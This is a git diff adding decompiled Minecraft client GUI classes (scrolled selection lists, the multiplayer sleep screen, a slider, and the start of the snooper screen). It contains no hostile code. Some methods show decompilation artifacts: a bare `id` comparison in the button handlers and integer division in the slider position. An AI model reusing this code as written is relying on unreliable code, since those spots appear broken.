diff --git a/src/minecraft/net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy.java b/src/minecraft/net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy.java
new file mode 100644
index 0000000..675a5f4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy.java
@@ -0,0 +1,160 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.realms.RealmsSimpleScrolledSelectionList;
+import net.minecraft.util.MathHelper;
+
+public class GuiSimpleScrolledSelectionListProxy extends GuiSlot
+{
+  private final RealmsSimpleScrolledSelectionList field_178050_u;
+  private static final String __OBFID = "CL_00001938";
+  
+  public GuiSimpleScrolledSelectionListProxy(RealmsSimpleScrolledSelectionList p_i45525_1_, int p_i45525_2_, int p_i45525_3_, int p_i45525_4_, int p_i45525_5_, int p_i45525_6_)
+  {
+    super(Minecraft.getMinecraft(), p_i45525_2_, p_i45525_3_, p_i45525_4_, p_i45525_5_, p_i45525_6_);
+    field_178050_u = p_i45525_1_;
+  }
+  
+  protected int getSize()
+  {
+    return field_178050_u.getItemCount();
+  }
+  
+
+
+
+  protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+  {
+    field_178050_u.selectItem(slotIndex, isDoubleClick, mouseX, mouseY);
+  }
+  
+
+
+
+  protected boolean isSelected(int slotIndex)
+  {
+    return field_178050_u.isSelectedItem(slotIndex);
+  }
+  
+  protected void drawBackground()
+  {
+    field_178050_u.renderBackground();
+  }
+  
+  protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+  {
+    field_178050_u.renderItem(p_180791_1_, p_180791_2_, p_180791_3_, p_180791_4_, p_180791_5_, p_180791_6_);
+  }
+  
+  public int func_178048_e()
+  {
+    return width;
+  }
+  
+  public int func_178047_f()
+  {
+    return mouseY;
+  }
+  
+  public int func_178049_g()
+  {
+    return mouseX;
+  }
+  
+
+
+
+  protected int getContentHeight()
+  {
+    return field_178050_u.getMaxPosition();
+  }
+  
+  protected int getScrollBarX()
+  {
+    return field_178050_u.getScrollbarPosition();
+  }
+  
+  public void func_178039_p()
+  {
+    super.func_178039_p();
+  }
+  
+  public void drawScreen(int p_148128_1_, int p_148128_2_, float p_148128_3_)
+  {
+    if (field_178041_q)
+    {
+      mouseX = p_148128_1_;
+      mouseY = p_148128_2_;
+      drawBackground();
+      int var4 = getScrollBarX();
+      int var5 = var4 + 6;
+      bindAmountScrolled();
+      GlStateManager.disableLighting();
+      GlStateManager.disableFog();
+      Tessellator var6 = Tessellator.getInstance();
+      WorldRenderer var7 = var6.getWorldRenderer();
+      int var8 = left + width / 2 - getListWidth() / 2 + 2;
+      int var9 = top + 4 - (int)amountScrolled;
+      
+      if (hasListHeader)
+      {
+        drawListHeader(var8, var9, var6);
+      }
+      
+      drawSelectionBox(var8, var9, p_148128_1_, p_148128_2_);
+      GlStateManager.disableDepth();
+      boolean var10 = true;
+      overlayBackground(0, top, 255, 255);
+      overlayBackground(bottom, height, 255, 255);
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 0, 1);
+      GlStateManager.disableAlpha();
+      GlStateManager.shadeModel(7425);
+      GlStateManager.func_179090_x();
+      int var11 = func_148135_f();
+      
+      if (var11 > 0)
+      {
+        int var12 = (bottom - top) * (bottom - top) / getContentHeight();
+        var12 = MathHelper.clamp_int(var12, 32, bottom - top - 8);
+        int var13 = (int)amountScrolled * (bottom - top - var12) / var11 + top;
+        
+        if (var13 < top)
+        {
+          var13 = top;
+        }
+        
+        var7.startDrawingQuads();
+        var7.func_178974_a(0, 255);
+        var7.addVertexWithUV(var4, bottom, 0.0D, 0.0D, 1.0D);
+        var7.addVertexWithUV(var5, bottom, 0.0D, 1.0D, 1.0D);
+        var7.addVertexWithUV(var5, top, 0.0D, 1.0D, 0.0D);
+        var7.addVertexWithUV(var4, top, 0.0D, 0.0D, 0.0D);
+        var6.draw();
+        var7.startDrawingQuads();
+        var7.func_178974_a(8421504, 255);
+        var7.addVertexWithUV(var4, var13 + var12, 0.0D, 0.0D, 1.0D);
+        var7.addVertexWithUV(var5, var13 + var12, 0.0D, 1.0D, 1.0D);
+        var7.addVertexWithUV(var5, var13, 0.0D, 1.0D, 0.0D);
+        var7.addVertexWithUV(var4, var13, 0.0D, 0.0D, 0.0D);
+        var6.draw();
+        var7.startDrawingQuads();
+        var7.func_178974_a(12632256, 255);
+        var7.addVertexWithUV(var4, var13 + var12 - 1, 0.0D, 0.0D, 1.0D);
+        var7.addVertexWithUV(var5 - 1, var13 + var12 - 1, 0.0D, 1.0D, 1.0D);
+        var7.addVertexWithUV(var5 - 1, var13, 0.0D, 1.0D, 0.0D);
+        var7.addVertexWithUV(var4, var13, 0.0D, 0.0D, 0.0D);
+        var6.draw();
+      }
+      
+      func_148142_b(p_148128_1_, p_148128_2_);
+      GlStateManager.func_179098_w();
+      GlStateManager.shadeModel(7424);
+      GlStateManager.enableAlpha();
+      GlStateManager.disableBlend();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiSleepMP.java b/src/minecraft/net/minecraft/client/gui/GuiSleepMP.java
new file mode 100644
index 0000000..1f01bc3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiSleepMP.java
@@ -0,0 +1,66 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.resources.I18n;
+
+public class GuiSleepMP extends GuiChat
+{
+  private static final String __OBFID = "CL_00000697";
+  
+  public GuiSleepMP() {}
+  
+  public void initGui()
+  {
+    super.initGui();
+    buttonList.add(new GuiButton(1, width / 2 - 100, height - 40, I18n.format("multiplayer.stopSleeping", new Object[0])));
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (keyCode == 1)
+    {
+      wakeFromSleep();
+    }
+    else if ((keyCode != 28) && (keyCode != 156))
+    {
+      super.keyTyped(typedChar, keyCode);
+    }
+    else
+    {
+      String var3 = inputField.getText().trim();
+      
+      if (!var3.isEmpty())
+      {
+        mc.thePlayer.sendChatMessage(var3);
+      }
+      
+      inputField.setText("");
+      mc.ingameGUI.getChatGUI().resetScroll();
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (id == 1)
+    {
+      wakeFromSleep();
+    }
+    else
+    {
+      super.actionPerformed(button);
+    }
+  }
+  
+  private void wakeFromSleep()
+  {
+    NetHandlerPlayClient var1 = mc.thePlayer.sendQueue;
+    var1.addToSendQueue(new net.minecraft.network.play.client.C0BPacketEntityAction(mc.thePlayer, net.minecraft.network.play.client.C0BPacketEntityAction.Action.STOP_SLEEPING));
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiSlider.java b/src/minecraft/net/minecraft/client/gui/GuiSlider.java
new file mode 100644
index 0000000..70bdabd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiSlider.java
@@ -0,0 +1,146 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.resources.I18n;
+
+public class GuiSlider extends GuiButton
+{
+  private float field_175227_p = 1.0F;
+  public boolean field_175228_o;
+  private String field_175226_q;
+  private final float field_175225_r;
+  private final float field_175224_s;
+  private final GuiPageButtonList.GuiResponder field_175223_t;
+  private FormatHelper field_175222_u;
+  private static final String __OBFID = "CL_00001954";
+  
+  public GuiSlider(GuiPageButtonList.GuiResponder p_i45541_1_, int p_i45541_2_, int p_i45541_3_, int p_i45541_4_, String p_i45541_5_, float p_i45541_6_, float p_i45541_7_, float p_i45541_8_, FormatHelper p_i45541_9_)
+  {
+    super(p_i45541_2_, p_i45541_3_, p_i45541_4_, 150, 20, "");
+    field_175226_q = p_i45541_5_;
+    field_175225_r = p_i45541_6_;
+    field_175224_s = p_i45541_7_;
+    field_175227_p = ((p_i45541_8_ - p_i45541_6_) / (p_i45541_7_ - p_i45541_6_));
+    field_175222_u = p_i45541_9_;
+    field_175223_t = p_i45541_1_;
+    displayString = func_175221_e();
+  }
+  
+  public float func_175220_c()
+  {
+    return field_175225_r + (field_175224_s - field_175225_r) * field_175227_p;
+  }
+  
+  public void func_175218_a(float p_175218_1_, boolean p_175218_2_)
+  {
+    field_175227_p = ((p_175218_1_ - field_175225_r) / (field_175224_s - field_175225_r));
+    displayString = func_175221_e();
+    
+    if (p_175218_2_)
+    {
+      field_175223_t.func_175320_a(id, func_175220_c());
+    }
+  }
+  
+  public float func_175217_d()
+  {
+    return field_175227_p;
+  }
+  
+  private String func_175221_e()
+  {
+    return field_175222_u == null ? I18n.format(field_175226_q, new Object[0]) + ": " + func_175220_c() : field_175222_u.func_175318_a(id, I18n.format(field_175226_q, new Object[0]), func_175220_c());
+  }
+  
+
+
+
+
+  protected int getHoverState(boolean mouseOver)
+  {
+    return 0;
+  }
+  
+
+
+
+  protected void mouseDragged(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (visible)
+    {
+      if (field_175228_o)
+      {
+        field_175227_p = ((mouseX - (xPosition + 4)) / (width - 8));
+        
+        if (field_175227_p < 0.0F)
+        {
+          field_175227_p = 0.0F;
+        }
+        
+        if (field_175227_p > 1.0F)
+        {
+          field_175227_p = 1.0F;
+        }
+        
+        displayString = func_175221_e();
+        field_175223_t.func_175320_a(id, func_175220_c());
+      }
+      
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      drawTexturedModalRect(xPosition + (int)(field_175227_p * (width - 8)), yPosition, 0, 66, 4, 20);
+      drawTexturedModalRect(xPosition + (int)(field_175227_p * (width - 8)) + 4, yPosition, 196, 66, 4, 20);
+    }
+  }
+  
+  public void func_175219_a(float p_175219_1_)
+  {
+    field_175227_p = p_175219_1_;
+    displayString = func_175221_e();
+    field_175223_t.func_175320_a(id, func_175220_c());
+  }
+  
+
+
+
+
+  public boolean mousePressed(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (super.mousePressed(mc, mouseX, mouseY))
+    {
+      field_175227_p = ((mouseX - (xPosition + 4)) / (width - 8));
+      
+      if (field_175227_p < 0.0F)
+      {
+        field_175227_p = 0.0F;
+      }
+      
+      if (field_175227_p > 1.0F)
+      {
+        field_175227_p = 1.0F;
+      }
+      
+      displayString = func_175221_e();
+      field_175223_t.func_175320_a(id, func_175220_c());
+      field_175228_o = true;
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public void mouseReleased(int mouseX, int mouseY)
+  {
+    field_175228_o = false;
+  }
+  
+  public static abstract interface FormatHelper
+  {
+    public abstract String func_175318_a(int paramInt, String paramString, float paramFloat);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiSlot.java b/src/minecraft/net/minecraft/client/gui/GuiSlot.java
new file mode 100644
index 0000000..5c4491e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiSlot.java
@@ -0,0 +1,523 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.util.MathHelper;
+import org.lwjgl.input.Mouse;
+
+
+
+
+
+
+
+
+
+
+public abstract class GuiSlot
+{
+  protected final Minecraft mc;
+  protected int width;
+  protected int height;
+  protected int top;
+  protected int bottom;
+  protected int right;
+  protected int left;
+  protected final int slotHeight;
+  private int scrollUpButtonID;
+  private int scrollDownButtonID;
+  protected int mouseX;
+  protected int mouseY;
+  protected boolean field_148163_i = true;
+  
+
+  protected float initialClickY = -2.0F;
+  
+
+
+  protected float scrollMultiplier;
+  
+
+
+  protected float amountScrolled;
+  
+
+
+  protected int selectedElement = -1;
+  
+  protected long lastClicked;
+  
+  protected boolean field_178041_q = true;
+  
+
+
+
+  protected boolean showSelectionBox = true;
+  protected boolean hasListHeader;
+  protected int headerPadding;
+  private boolean enabled = true;
+  private static final String __OBFID = "CL_00000679";
+  
+  public GuiSlot(Minecraft mcIn, int width, int height, int p_i1052_4_, int p_i1052_5_, int p_i1052_6_)
+  {
+    mc = mcIn;
+    this.width = width;
+    this.height = height;
+    top = p_i1052_4_;
+    bottom = p_i1052_5_;
+    slotHeight = p_i1052_6_;
+    left = 0;
+    right = width;
+  }
+  
+  public void setDimensions(int p_148122_1_, int p_148122_2_, int p_148122_3_, int p_148122_4_)
+  {
+    width = p_148122_1_;
+    height = p_148122_2_;
+    top = p_148122_3_;
+    bottom = p_148122_4_;
+    left = 0;
+    right = p_148122_1_;
+  }
+  
+  public void setShowSelectionBox(boolean p_148130_1_)
+  {
+    showSelectionBox = p_148130_1_;
+  }
+  
+
+
+
+
+  protected void setHasListHeader(boolean p_148133_1_, int p_148133_2_)
+  {
+    hasListHeader = p_148133_1_;
+    headerPadding = p_148133_2_;
+    
+    if (!p_148133_1_)
+    {
+      headerPadding = 0;
+    }
+  }
+  
+
+
+
+  protected abstract int getSize();
+  
+
+
+  protected abstract void elementClicked(int paramInt1, boolean paramBoolean, int paramInt2, int paramInt3);
+  
+
+
+  protected abstract boolean isSelected(int paramInt);
+  
+
+
+  protected int getContentHeight()
+  {
+    return getSize() * slotHeight + headerPadding;
+  }
+  
+
+  protected abstract void drawBackground();
+  
+
+  protected void func_178040_a(int p_178040_1_, int p_178040_2_, int p_178040_3_) {}
+  
+
+  protected abstract void drawSlot(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+  
+  protected void drawListHeader(int p_148129_1_, int p_148129_2_, Tessellator p_148129_3_) {}
+  
+  protected void func_148132_a(int p_148132_1_, int p_148132_2_) {}
+  
+  protected void func_148142_b(int p_148142_1_, int p_148142_2_) {}
+  
+  public int getSlotIndexFromScreenCoords(int p_148124_1_, int p_148124_2_)
+  {
+    int var3 = left + width / 2 - getListWidth() / 2;
+    int var4 = left + width / 2 + getListWidth() / 2;
+    int var5 = p_148124_2_ - top - headerPadding + (int)amountScrolled - 4;
+    int var6 = var5 / slotHeight;
+    return (p_148124_1_ < getScrollBarX()) && (p_148124_1_ >= var3) && (p_148124_1_ <= var4) && (var6 >= 0) && (var5 >= 0) && (var6 < getSize()) ? var6 : -1;
+  }
+  
+
+
+
+  public void registerScrollButtons(int p_148134_1_, int p_148134_2_)
+  {
+    scrollUpButtonID = p_148134_1_;
+    scrollDownButtonID = p_148134_2_;
+  }
+  
+
+
+
+  protected void bindAmountScrolled()
+  {
+    int var1 = func_148135_f();
+    
+    if (var1 < 0)
+    {
+      var1 /= 2;
+    }
+    
+    if ((!field_148163_i) && (var1 < 0))
+    {
+      var1 = 0;
+    }
+    
+    amountScrolled = MathHelper.clamp_float(amountScrolled, 0.0F, var1);
+  }
+  
+  public int func_148135_f()
+  {
+    return Math.max(0, getContentHeight() - (bottom - top - 4));
+  }
+  
+
+
+
+  public int getAmountScrolled()
+  {
+    return (int)amountScrolled;
+  }
+  
+  public boolean isMouseYWithinSlotBounds(int p_148141_1_)
+  {
+    return (p_148141_1_ >= top) && (p_148141_1_ <= bottom) && (mouseX >= left) && (mouseX <= right);
+  }
+  
+
+
+
+  public void scrollBy(int p_148145_1_)
+  {
+    amountScrolled += p_148145_1_;
+    bindAmountScrolled();
+    initialClickY = -2.0F;
+  }
+  
+  public void actionPerformed(GuiButton p_148147_1_)
+  {
+    if (enabled)
+    {
+      if (id == scrollUpButtonID)
+      {
+        amountScrolled -= slotHeight * 2 / 3;
+        initialClickY = -2.0F;
+        bindAmountScrolled();
+      }
+      else if (id == scrollDownButtonID)
+      {
+        amountScrolled += slotHeight * 2 / 3;
+        initialClickY = -2.0F;
+        bindAmountScrolled();
+      }
+    }
+  }
+  
+  public void drawScreen(int p_148128_1_, int p_148128_2_, float p_148128_3_)
+  {
+    if (field_178041_q)
+    {
+      mouseX = p_148128_1_;
+      mouseY = p_148128_2_;
+      drawBackground();
+      int var4 = getScrollBarX();
+      int var5 = var4 + 6;
+      bindAmountScrolled();
+      GlStateManager.disableLighting();
+      GlStateManager.disableFog();
+      Tessellator var6 = Tessellator.getInstance();
+      WorldRenderer var7 = var6.getWorldRenderer();
+      mc.getTextureManager().bindTexture(Gui.optionsBackground);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      float var8 = 32.0F;
+      var7.startDrawingQuads();
+      var7.func_178991_c(2105376);
+      var7.addVertexWithUV(left, bottom, 0.0D, left / var8, (bottom + (int)amountScrolled) / var8);
+      var7.addVertexWithUV(right, bottom, 0.0D, right / var8, (bottom + (int)amountScrolled) / var8);
+      var7.addVertexWithUV(right, top, 0.0D, right / var8, (top + (int)amountScrolled) / var8);
+      var7.addVertexWithUV(left, top, 0.0D, left / var8, (top + (int)amountScrolled) / var8);
+      var6.draw();
+      int var9 = left + width / 2 - getListWidth() / 2 + 2;
+      int var10 = top + 4 - (int)amountScrolled;
+      
+      if (hasListHeader)
+      {
+        drawListHeader(var9, var10, var6);
+      }
+      
+      drawSelectionBox(var9, var10, p_148128_1_, p_148128_2_);
+      GlStateManager.disableDepth();
+      byte var11 = 4;
+      overlayBackground(0, top, 255, 255);
+      overlayBackground(bottom, height, 255, 255);
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 0, 1);
+      GlStateManager.disableAlpha();
+      GlStateManager.shadeModel(7425);
+      GlStateManager.func_179090_x();
+      var7.startDrawingQuads();
+      var7.func_178974_a(0, 0);
+      var7.addVertexWithUV(left, top + var11, 0.0D, 0.0D, 1.0D);
+      var7.addVertexWithUV(right, top + var11, 0.0D, 1.0D, 1.0D);
+      var7.func_178974_a(0, 255);
+      var7.addVertexWithUV(right, top, 0.0D, 1.0D, 0.0D);
+      var7.addVertexWithUV(left, top, 0.0D, 0.0D, 0.0D);
+      var6.draw();
+      var7.startDrawingQuads();
+      var7.func_178974_a(0, 255);
+      var7.addVertexWithUV(left, bottom, 0.0D, 0.0D, 1.0D);
+      var7.addVertexWithUV(right, bottom, 0.0D, 1.0D, 1.0D);
+      var7.func_178974_a(0, 0);
+      var7.addVertexWithUV(right, bottom - var11, 0.0D, 1.0D, 0.0D);
+      var7.addVertexWithUV(left, bottom - var11, 0.0D, 0.0D, 0.0D);
+      var6.draw();
+      int var12 = func_148135_f();
+      
+      if (var12 > 0)
+      {
+        int var13 = (bottom - top) * (bottom - top) / getContentHeight();
+        var13 = MathHelper.clamp_int(var13, 32, bottom - top - 8);
+        int var14 = (int)amountScrolled * (bottom - top - var13) / var12 + top;
+        
+        if (var14 < top)
+        {
+          var14 = top;
+        }
+        
+        var7.startDrawingQuads();
+        var7.func_178974_a(0, 255);
+        var7.addVertexWithUV(var4, bottom, 0.0D, 0.0D, 1.0D);
+        var7.addVertexWithUV(var5, bottom, 0.0D, 1.0D, 1.0D);
+        var7.addVertexWithUV(var5, top, 0.0D, 1.0D, 0.0D);
+        var7.addVertexWithUV(var4, top, 0.0D, 0.0D, 0.0D);
+        var6.draw();
+        var7.startDrawingQuads();
+        var7.func_178974_a(8421504, 255);
+        var7.addVertexWithUV(var4, var14 + var13, 0.0D, 0.0D, 1.0D);
+        var7.addVertexWithUV(var5, var14 + var13, 0.0D, 1.0D, 1.0D);
+        var7.addVertexWithUV(var5, var14, 0.0D, 1.0D, 0.0D);
+        var7.addVertexWithUV(var4, var14, 0.0D, 0.0D, 0.0D);
+        var6.draw();
+        var7.startDrawingQuads();
+        var7.func_178974_a(12632256, 255);
+        var7.addVertexWithUV(var4, var14 + var13 - 1, 0.0D, 0.0D, 1.0D);
+        var7.addVertexWithUV(var5 - 1, var14 + var13 - 1, 0.0D, 1.0D, 1.0D);
+        var7.addVertexWithUV(var5 - 1, var14, 0.0D, 1.0D, 0.0D);
+        var7.addVertexWithUV(var4, var14, 0.0D, 0.0D, 0.0D);
+        var6.draw();
+      }
+      
+      func_148142_b(p_148128_1_, p_148128_2_);
+      GlStateManager.func_179098_w();
+      GlStateManager.shadeModel(7424);
+      GlStateManager.enableAlpha();
+      GlStateManager.disableBlend();
+    }
+  }
+  
+  public void func_178039_p()
+  {
+    if (isMouseYWithinSlotBounds(mouseY))
+    {
+      if ((Mouse.isButtonDown(0)) && (getEnabled()))
+      {
+        if (initialClickY == -1.0F)
+        {
+          boolean var1 = true;
+          
+          if ((mouseY >= top) && (mouseY <= bottom))
+          {
+            int var2 = width / 2 - getListWidth() / 2;
+            int var3 = width / 2 + getListWidth() / 2;
+            int var4 = mouseY - top - headerPadding + (int)amountScrolled - 4;
+            int var5 = var4 / slotHeight;
+            
+            if ((mouseX >= var2) && (mouseX <= var3) && (var5 >= 0) && (var4 >= 0) && (var5 < getSize()))
+            {
+              boolean var6 = (var5 == selectedElement) && (Minecraft.getSystemTime() - lastClicked < 250L);
+              elementClicked(var5, var6, mouseX, mouseY);
+              selectedElement = var5;
+              lastClicked = Minecraft.getSystemTime();
+            }
+            else if ((mouseX >= var2) && (mouseX <= var3) && (var4 < 0))
+            {
+              func_148132_a(mouseX - var2, mouseY - top + (int)amountScrolled - 4);
+              var1 = false;
+            }
+            
+            int var11 = getScrollBarX();
+            int var7 = var11 + 6;
+            
+            if ((mouseX >= var11) && (mouseX <= var7))
+            {
+              scrollMultiplier = -1.0F;
+              int var8 = func_148135_f();
+              
+              if (var8 < 1)
+              {
+                var8 = 1;
+              }
+              
+              int var9 = (int)((bottom - top) * (bottom - top) / getContentHeight());
+              var9 = MathHelper.clamp_int(var9, 32, bottom - top - 8);
+              scrollMultiplier /= (bottom - top - var9) / var8;
+            }
+            else
+            {
+              scrollMultiplier = 1.0F;
+            }
+            
+            if (var1)
+            {
+              initialClickY = mouseY;
+            }
+            else
+            {
+              initialClickY = -2.0F;
+            }
+          }
+          else
+          {
+            initialClickY = -2.0F;
+          }
+        }
+        else if (initialClickY >= 0.0F)
+        {
+          amountScrolled -= (mouseY - initialClickY) * scrollMultiplier;
+          initialClickY = mouseY;
+        }
+        
+      }
+      else {
+        initialClickY = -1.0F;
+      }
+      
+      int var10 = Mouse.getEventDWheel();
+      
+      if (var10 != 0)
+      {
+        if (var10 > 0)
+        {
+          var10 = -1;
+        }
+        else if (var10 < 0)
+        {
+          var10 = 1;
+        }
+        
+        amountScrolled += var10 * slotHeight / 2;
+      }
+    }
+  }
+  
+  public void setEnabled(boolean p_148143_1_)
+  {
+    enabled = p_148143_1_;
+  }
+  
+  public boolean getEnabled()
+  {
+    return enabled;
+  }
+  
+
+
+
+  public int getListWidth()
+  {
+    return 220;
+  }
+  
+
+
+
+  protected void drawSelectionBox(int p_148120_1_, int p_148120_2_, int p_148120_3_, int p_148120_4_)
+  {
+    int var5 = getSize();
+    Tessellator var6 = Tessellator.getInstance();
+    WorldRenderer var7 = var6.getWorldRenderer();
+    
+    for (int var8 = 0; var8 < var5; var8++)
+    {
+      int var9 = p_148120_2_ + var8 * slotHeight + headerPadding;
+      int var10 = slotHeight - 4;
+      
+      if ((var9 > bottom) || (var9 + var10 < top))
+      {
+        func_178040_a(var8, p_148120_1_, var9);
+      }
+      
+      if ((showSelectionBox) && (isSelected(var8)))
+      {
+        int var11 = left + (width / 2 - getListWidth() / 2);
+        int var12 = left + width / 2 + getListWidth() / 2;
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        GlStateManager.func_179090_x();
+        var7.startDrawingQuads();
+        var7.func_178991_c(8421504);
+        var7.addVertexWithUV(var11, var9 + var10 + 2, 0.0D, 0.0D, 1.0D);
+        var7.addVertexWithUV(var12, var9 + var10 + 2, 0.0D, 1.0D, 1.0D);
+        var7.addVertexWithUV(var12, var9 - 2, 0.0D, 1.0D, 0.0D);
+        var7.addVertexWithUV(var11, var9 - 2, 0.0D, 0.0D, 0.0D);
+        var7.func_178991_c(0);
+        var7.addVertexWithUV(var11 + 1, var9 + var10 + 1, 0.0D, 0.0D, 1.0D);
+        var7.addVertexWithUV(var12 - 1, var9 + var10 + 1, 0.0D, 1.0D, 1.0D);
+        var7.addVertexWithUV(var12 - 1, var9 - 1, 0.0D, 1.0D, 0.0D);
+        var7.addVertexWithUV(var11 + 1, var9 - 1, 0.0D, 0.0D, 0.0D);
+        var6.draw();
+        GlStateManager.func_179098_w();
+      }
+      
+      drawSlot(var8, p_148120_1_, var9, var10, p_148120_3_, p_148120_4_);
+    }
+  }
+  
+  protected int getScrollBarX()
+  {
+    return width / 2 + 124;
+  }
+  
+
+
+
+  protected void overlayBackground(int p_148136_1_, int p_148136_2_, int p_148136_3_, int p_148136_4_)
+  {
+    Tessellator var5 = Tessellator.getInstance();
+    WorldRenderer var6 = var5.getWorldRenderer();
+    mc.getTextureManager().bindTexture(Gui.optionsBackground);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    float var7 = 32.0F;
+    var6.startDrawingQuads();
+    var6.func_178974_a(4210752, p_148136_4_);
+    var6.addVertexWithUV(left, p_148136_2_, 0.0D, 0.0D, p_148136_2_ / var7);
+    var6.addVertexWithUV(left + width, p_148136_2_, 0.0D, width / var7, p_148136_2_ / var7);
+    var6.func_178974_a(4210752, p_148136_3_);
+    var6.addVertexWithUV(left + width, p_148136_1_, 0.0D, width / var7, p_148136_1_ / var7);
+    var6.addVertexWithUV(left, p_148136_1_, 0.0D, 0.0D, p_148136_1_ / var7);
+    var5.draw();
+  }
+  
+
+
+
+  public void setSlotXBoundsFromLeft(int p_148140_1_)
+  {
+    left = p_148140_1_;
+    right = (p_148140_1_ + width);
+  }
+  
+  public int getSlotHeight()
+  {
+    return slotHeight;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiSlotRealmsProxy.java b/src/minecraft/net/minecraft/client/gui/GuiSlotRealmsProxy.java
new file mode 100644
index 0000000..8e07671
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiSlotRealmsProxy.java
@@ -0,0 +1,80 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.realms.RealmsScrolledSelectionList;
+
+public class GuiSlotRealmsProxy extends GuiSlot
+{
+  private final RealmsScrolledSelectionList selectionList;
+  private static final String __OBFID = "CL_00001846";
+  
+  public GuiSlotRealmsProxy(RealmsScrolledSelectionList selectionListIn, int p_i1085_2_, int p_i1085_3_, int p_i1085_4_, int p_i1085_5_, int p_i1085_6_)
+  {
+    super(Minecraft.getMinecraft(), p_i1085_2_, p_i1085_3_, p_i1085_4_, p_i1085_5_, p_i1085_6_);
+    selectionList = selectionListIn;
+  }
+  
+  protected int getSize()
+  {
+    return selectionList.getItemCount();
+  }
+  
+
+
+
+  protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+  {
+    selectionList.selectItem(slotIndex, isDoubleClick, mouseX, mouseY);
+  }
+  
+
+
+
+  protected boolean isSelected(int slotIndex)
+  {
+    return selectionList.isSelectedItem(slotIndex);
+  }
+  
+  protected void drawBackground()
+  {
+    selectionList.renderBackground();
+  }
+  
+  protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+  {
+    selectionList.renderItem(p_180791_1_, p_180791_2_, p_180791_3_, p_180791_4_, p_180791_5_, p_180791_6_);
+  }
+  
+  public int func_154338_k()
+  {
+    return width;
+  }
+  
+  public int func_154339_l()
+  {
+    return mouseY;
+  }
+  
+  public int func_154337_m()
+  {
+    return mouseX;
+  }
+  
+
+
+
+  protected int getContentHeight()
+  {
+    return selectionList.getMaxPosition();
+  }
+  
+  protected int getScrollBarX()
+  {
+    return selectionList.getScrollbarPosition();
+  }
+  
+  public void func_178039_p()
+  {
+    super.func_178039_p();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiSnooper.java b/src/minecraft/net/minecraft/client/gui/GuiSnooper.java
new file mode 100644
index 0000000..c766b19
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiSnooper.java
@@ -0,0 +1,163 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.TreeMap;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiSnooper extends GuiScreen
+{
+  private final GuiScreen field_146608_a;
+  private final GameSettings game_settings_2;
+  private final List field_146604_g = Lists.newArrayList();
+  private final List field_146609_h = Lists.newArrayList();
+  private String field_146610_i;
+  private String[] field_146607_r;
+  private List field_146606_s;
+  private GuiButton field_146605_t;
+  private static final String __OBFID = "CL_00000714";
+  
+  public GuiSnooper(GuiScreen p_i1061_1_, GameSettings p_i1061_2_)
+  {
+    field_146608_a = p_i1061_1_;
+    game_settings_2 = p_i1061_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    field_146610_i = I18n.format("options.snooper.title", new Object[0]);
+    String var1 = I18n.format("options.snooper.desc", new Object[0]);
+    ArrayList var2 = Lists.newArrayList();
+    Iterator var3 = fontRendererObj.listFormattedStringToWidth(var1, width - 30).iterator();
+    
+    while (var3.hasNext())
+    {
+      String var4 = (String)var3.next();
+      var2.add(var4);
+    }
+    
+    field_146607_r = ((String[])var2.toArray(new String[0]));
+    field_146604_g.clear();
+    field_146609_h.clear();
